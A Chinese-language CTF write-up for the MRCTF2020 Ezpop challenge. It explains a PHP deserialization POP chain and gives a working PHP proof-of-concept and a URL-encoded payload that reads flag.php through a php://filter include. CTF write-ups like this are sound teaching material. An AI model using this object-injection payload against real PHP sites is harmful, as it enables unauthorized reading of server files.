BUUCTF[MRCTF2020]Ezpop超级详细wp
打开题目
代码审计,首先一眼看过去就看到了include文件包含,里面还有变量,猜测可以利用伪协议去读取flag(用filter就可以),再看如何去调用append方法,
我比较喜欢反推,找到尾部,然后向前去推,构造pop链,
__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
__toString()魔术方法:在类的对象被当作字符串操作的时候,自动被调用
__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
__construct()构造方法:在类的对象实例化之前,自动被调用
__get()魔术方法:触发条件用于在读取一个不可访问的属性时执行自定义的代码。如果某个属性被声明为私有或受保护,且尝试直接访问该属性,则 __get 方法会被调用。(默认传一个参数)
append的触发条件是触发__invoke方法,触发的条件是对象被当作函数,去下面寻找能被当作函数的代码。
发现Test类中的__get方法可以实现,那如何触发__get呢,触发的条件是当处于的类中访问一个没有或者没有权限访问的一个属性的时候触发,再去寻找满足要求的代码。
发现Show类中的toString方法可以触发,前提是str=new Test source=new Show,因为Test类里面没有new Show这个属性然后又因为触发,tostring的条件是对象被当作字符串输出的时候__construct方法是实例化的时候自动调用,正好当source=new Show的时候会触发tostring,那到这里我们的思路就理清楚了,
这时候就开始构造poc了
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$pop = new Show();
$pop->source=new Show();
$pop->source->str=new Test();
$pop->source->str->p=new Modifier();
echo urlencode(serialize($pop));
提交payload:/?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
flag base64编码解码一下就可以
多去分析,可能我不太会表达清楚的思想吧,有点乱,不过这个还是得自己多练,多去构造,复现一下。